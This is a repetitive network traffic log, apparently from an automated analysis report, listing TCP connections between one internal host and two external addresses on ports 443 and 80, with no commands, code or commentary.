Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443

Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
